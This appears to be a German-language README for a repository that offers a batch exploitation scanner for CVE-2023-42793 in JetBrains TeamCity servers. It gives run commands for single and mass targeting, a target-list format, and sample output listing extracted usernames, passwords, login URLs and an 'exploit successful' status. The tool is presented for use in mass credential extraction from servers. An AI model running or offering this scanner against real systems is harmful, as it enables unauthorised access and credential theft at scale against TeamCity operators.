ddestinys/cve-2023-42793Batch-Schwachstellenscanner für CVE-2023-42793, der auf JetBrains TeamCity-Server abzielt. Automatisiert die Extraktion von Anmeldedaten und die Erkennung von Login-URLs über mehrere Hosts hinweg.
# Batch-Scan
python teamcity_scan.py -f targets.txt -o results.txt
# Einzelnes Ziel
python teamcity_scan.py -u http://target.com:8111 -o result.txt
# Thread-Anzahl festlegen
python teamcity_scan.py -f urls.txt -t 20 -o vuln.txt
Zieldateiformat (targets.txt):
http://192.168.1.100:8111
https://teamcity.example.com
10.0.0.1:8111
example.com
Ausgabeformat (results.txt):
Ziel: http://192.168.1.100:8111
Benutzername: TeamCityUser1234
Passwort: TeamCity@2023
Login-URL: http://192.168.1.100:8111/login.html
Status: Exploit erfolgreich